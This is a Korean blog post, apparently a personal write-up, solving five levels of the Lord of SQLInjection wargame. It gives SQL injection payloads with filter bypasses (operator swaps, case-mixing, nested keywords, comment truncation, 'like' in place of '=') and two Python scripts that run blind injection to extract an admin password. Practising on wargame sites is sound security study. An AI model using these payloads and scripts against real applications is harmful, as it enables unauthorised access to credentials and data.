LOS 문제 풀이-2

Simcurity·2023년 4월 26일
0

보안 문제 풀기

목록 보기
2/2
post-thumbnail

1. orge


일단 admin의 패스워드를 알아내야 하므로 admin 패스워드의 자릿 수를 목표로 인젝션을 수행하였습니다.

or와 and연산이 필터링 되었기 때문에 ||와 &&를 사용했는데 ||는 되는데 &&는 되지않아 url 인코딩인 %26을 넣어주었습니다.
그리고 id가 admin인 pw가 10자리 이하이면 참이므로 9,8로 내려가보았습니다.

8에서 거짓이 되었으므로 자리 수는 8자리 인것을 알아냈습니다.
바로 파이썬 코드를 작성했습니다.

from urllib import request
import requests

cookie={'PHPSESSID' : '2lkl12gd8tnvlh3jopfbfdkbkj'}
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"


for i in range(0,9):
    for j in range(47,123):
        brute=url + "?pw=' || id='admin' %26%26 ascii(substr(pw,"+str(i)+",1)) = "+str(j)+"%23"
        res=requests.get(brute, cookies=cookie)

        if "Hello admin" in res.text:
            print("index "+str(i)+" -----> "+chr(j))
            break


다음과 같이 패스워드가 추출되었습니다.

2. troll


문제가 비교적 짧아 쉬워보였습니다.
우선 admin입력에 대한 필터링이 있기 때문에 admin의 16진수 값을 넣어보았는데 풀리지 않았습니다.

그래서 생각해보다가 필터링 문자열을 보니 admin을 보고 대소문자를 섞어보면 어떨까라고 생각이 들었습니다.

AdMiN을 넣자 해결되었습니다.

3. vampire


필터링을 보니 admin 문자열을 공백으로 치환하고 있었습니다.
보안기사를 공부할 때 단지 공백으로 치환할 경우 다음과 같이 우회할 수 있다고 배웠습니다. 'adadminmin'으로 입력하면 가운데 admin이 공백이 되어 ad+min이 합쳐져 admin이 되므로 admin 입력 값이 전달되게 됩니다.
이 문제는 보안기사 때 배운것으로 바로 풀었습니다 ㅎㅎ

4. skeleton


다음 문제입니다.
이 문제는 그냥 뒤에 and 1=0이 붙어서 무조건 거짓을 만드는 쿼리문이 있는데 그냥 %23으로 주석처리했더니 바로 풀렸습니다.

5. golem


다음 문제입니다.
일단 = 기호가 필터링 되므로 1<3으로 참을 유도해보았습니다.

마지막 if문을 보아하니 이 문제도 blind로 파이썬 코드를 돌려야할것 같습니다.

저번 문제와 마찬가지로 or 대신 ||문자를 쓰고 length()함수로 패스워드 길이를 추측해보았습니다. 마찬가지로 8자리 수를 알아냈습니다

그런데 코드를 돌렸는데 계속 아무 반응이 없길래 필터링 문자열을 보니 substr(이 있었습니다.
substring(을 사용했습니다. 그래도 여전히 = 문자는 필터링 되어 반응이 없었습니다.
그래서 다른 방법을 찾아보다가 like를 이용할 수 있다는 것을 알았습니다.
pw 파라미터에

' || id like 'admin' %26%26 ascii(substring(pw,"+str(i)+",1)) like "+str(j)+"%23"

해당 페이로드로 블라인드 SQL 인젝션을 하면됩니다.
like는 문자열 함수로 id like 'admin'이면 id가 admin일 경우 참을 반환합니다.
또한 id like 'admin*'의 경우 id가 admin으로 시작하는 모든 경우를 참으로 반환합니다.

rom urllib import request
import requests

cookie={'PHPSESSID' : '2lkl12gd8tnvlh3jopfbfdkbkj'}
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"


for i in range(0,9):
    for j in range(47,123):
        payload = url + "?pw=' || id like 'admin' %26%26 ascii(substring(pw,"+str(i)+",1)) like "+str(j)+"%23"
        res = requests.get(payload, cookies=cookie)
        if "Hello admin" in res.text:
            print("index "+str(i)+" -----> "+chr(j))
            break

파이썬 자동화 코드

오늘은 여기까지 풀겠습니다 ㅎㅎ

0개의 댓글